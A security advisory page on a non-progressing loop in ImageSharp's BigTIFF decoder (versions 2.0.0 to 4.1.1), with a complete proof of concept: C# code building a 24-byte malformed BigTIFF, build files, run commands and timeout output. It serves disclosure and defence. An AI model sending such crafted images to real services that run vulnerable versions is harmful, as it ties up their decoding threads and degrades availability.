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Medium

ImageSharp: BigTIFF IFD count can keep a decoder thread in a non-progressing loop

  • Disclosed: 07.10.2026
  • Updated: 11.10.2026 11:23

Summary

SixLabors.ImageSharp 4.1.1 can spend an attacker-controlled duration decoding a small malformed BigTIFF. The BigTIFF IFD entry-count field is 64-bit. The reader iterates once per declared entry, but when fewer than 20 bytes remain for an entry, the entry read returns without advancing. A 24-byte input can therefore run billions of iterations without consuming input.

One decoder invocation occupied one executing thread for more than five seconds in the tested environment. This report makes no worker-pool exhaustion claim.

Affected package and versions

  • Package: SixLabors.ImageSharp (NuGet)
  • Affected range: >= 2.0.0, <= 4.1.1
  • Commit 0815358f9202a78bc7f3b83e19282dc3654b500f corresponds to release v4.1.1.

BigTIFF decoding and the unbounded ReadValues64 loop first appear in v2.0.0. Every release tag from v2.0.0 through v4.1.1 retains that loop without constraining the entry count or terminating when a truncated entry makes no progress. The 24-byte PoC exceeded the five-second timeout on published v2.0.0 and v4.1.1; the one-entry control returned promptly on both.

Details

ReadValues64 trusts the 64-bit IFD count and loops once per declared entry. When fewer than 20 bytes remain, ReadValue64 returns without advancing the stream or ending the outer loop.

Tested environment

The reproduction uses the DLL in the published NuGet 4.1.1 package:

SixLabors.ImageSharp.dll SHA-256:
c50231b527153cd9103acf03536a743958b3d892cc98cf9c05c9bcedef63ba0f
Runtime: .NET 8.0.30 (linux-arm64)
SDK: 8.0.424
OS: Debian GNU/Linux 12 (bookworm), Docker

Reproduction

The public Image.Load(Stream) call receives a 24-byte little-endian BigTIFF with its first IFD at offset 16 and entry count 5000000000. There are no bytes for an entry. Run the supplied container under a five-second timeout.

Complete observed output:

bigTiffBytes=24 entryCount=5000000000
timeout exit status: 124

timeout exit code 124 means the decoder had not returned after five seconds.

The control is identical except the entry count is 1:

bigTiffBytes=24 entryCount=1
decoderReturned=InvalidImageContentException message=The TIFF image frame is missing the ImageWidth
Docker exit status: 0

The control rejects malformed input promptly; it does not time out.

No active exploitation is known.

Complete PoC files

Program.cs:

csharp
using SixLabors.ImageSharp;

static class Program
{
    // Little-endian BigTIFF: a header, IFD at byte 16, and no IFD entry data.
    // The count field is controlled by the input.
    private static byte[] BuildBigTiff(ulong entryCount)
    {
        byte[] bytes = new byte[24];
        bytes[0] = 0x49; bytes[1] = 0x49;               // II
        bytes[2] = 0x2B; bytes[3] = 0x00;               // BigTIFF magic
        bytes[4] = 0x08; bytes[5] = 0x00;               // 8-byte offsets
        BitConverter.GetBytes((ulong)16).CopyTo(bytes, 8);
        BitConverter.GetBytes(entryCount).CopyTo(bytes, 16);
        return bytes;
    }

    private static void Main(string[] args)
    {
        ulong entryCount = ulong.Parse(args[0]);
        byte[] bytes = BuildBigTiff(entryCount);
        Console.Error.WriteLine($"bigTiffBytes={bytes.Length} entryCount={entryCount}");
        try
        {
            using var stream = new MemoryStream(bytes);
            using Image image = Image.Load(stream);
            Console.Error.WriteLine("completed");
        }
        catch (Exception ex)
        {
            Console.Error.WriteLine($"decoderReturned={ex.GetType().Name} message={ex.Message}");
        }
    }
}

Project file:

xml
<Project Sdk="Microsoft.NET.Sdk">
  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net8.0</TargetFramework>
    <ImplicitUsings>enable</ImplicitUsings>
    <Nullable>enable</Nullable>
  </PropertyGroup>
  <!-- Directly load the DLL packaged by the published NuGet 4.1.1 release. -->
  <ItemGroup>
    <Reference Include="SixLabors.ImageSharp">
      <HintPath>/root/.nuget/packages/sixlabors.imagesharp/4.1.1/lib/net8.0/SixLabors.ImageSharp.dll</HintPath>
    </Reference>
    <Reference Include="System.IO.Hashing">
      <HintPath>/root/.nuget/packages/system.io.hashing/8.0.0/lib/net8.0/System.IO.Hashing.dll</HintPath>
    </Reference>
  </ItemGroup>
</Project>

Dockerfile:

dockerfile
FROM mcr.microsoft.com/dotnet/sdk:8.0
WORKDIR /work
COPY wmxv.csproj Program.cs ./
RUN printf '%s\n' '<Project Sdk="Microsoft.NET.Sdk"><PropertyGroup><TargetFramework>net8.0</TargetFramework></PropertyGroup><ItemGroup><PackageReference Include="SixLabors.ImageSharp" Version="4.1.1" /></ItemGroup></Project>' > fetch.csproj \
    && dotnet restore fetch.csproj --nologo \
    && rm fetch.csproj \
    && dotnet build wmxv.csproj -c Release --nologo -v quiet
ENTRYPOINT ["dotnet", "/work/bin/Release/net8.0/wmxv.dll"]

Run:

bash
docker build -t imagesharp-wmxv-poc .
timeout 5 docker run --rm imagesharp-wmxv-poc 5000000000
docker run --rm imagesharp-wmxv-poc 1

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
.NET (NuGet) SixLabors.ImageSharp >= 2.0.0, < 4.1.2 4.1.2

References

CVSS score 5.3/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
Weakness (CWE)
CWE-835
Platform
.NET (NuGet)
Package
SixLabors.ImageSharp
Disclosed
07.10.2026
Updated
11.10.2026 11:23

Sources and licenses

OSV / GitHub Advisory Database - GHSA-wmxv-xphr-5c9g - CC BY 4.0

Vulnerability history: SixLabors.ImageSharp

All published vulnerabilities of this package (.NET (NuGet)), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (14) in the archive
Total entries
14
First → latest
03.2024 10.2026
Without a fix
0
Exploited in attacks
0

Severity breakdown

  • High 7
  • Medium 7

Disclosures per year

Severity:
  1. ImageSharp: TIFF CCITT T6 encoder writes beyond an undersized output buffer
    High · 7.5 CVE-2026-106115 >= 2.1.0, < 4.1.2 4.1.2
  2. ImageSharp: ICC LUT16 output channel count can write beyond Vector4
    High · 7.5 CVE-2026-106112 >= 4.0.0, < 4.1.2 4.1.2
  3. ImageSharp: BigTIFF IFD count can keep a decoder thread in a non-progressing loop this entry
    Medium · 5.3 CVE-2026-106116 >= 2.0.0, < 4.1.2 4.1.2
  4. ImageSharp: TIFF CCITT T4 encoder can write past its compressed output buffer
    High · 7.5 CVE-2026-106110 >= 2.0.0, < 4.1.2 4.1.2
  5. ImageSharp: HistogramEqualization uses an unvalidated luminance as an unchecked histogram index
    High · 7.5 CVE-2026-106113 >= 2.0.0, < 4.1.2 4.1.2
  6. Out-of-bounds Write in SixLabors ImageSharp
    High · 7.5 CVE-2025-27598 >= 3.0.0, < 3.1.7, < 2.1.10 3.1.7, 2.1.10
  7. SixLabors ImageSharp Out-of-bounds Write
    High · 7.5 CVE-2024-41131 < 2.1.9, >= 3.0.0, < 3.1.5 2.1.9, 3.1.5
  8. Use After Free in SixLabors.ImageSharp
    High · 7.1 CVE-2024-27929 >= 3.0.0, < 3.1.3, < 2.1.7 3.1.3, 2.1.7

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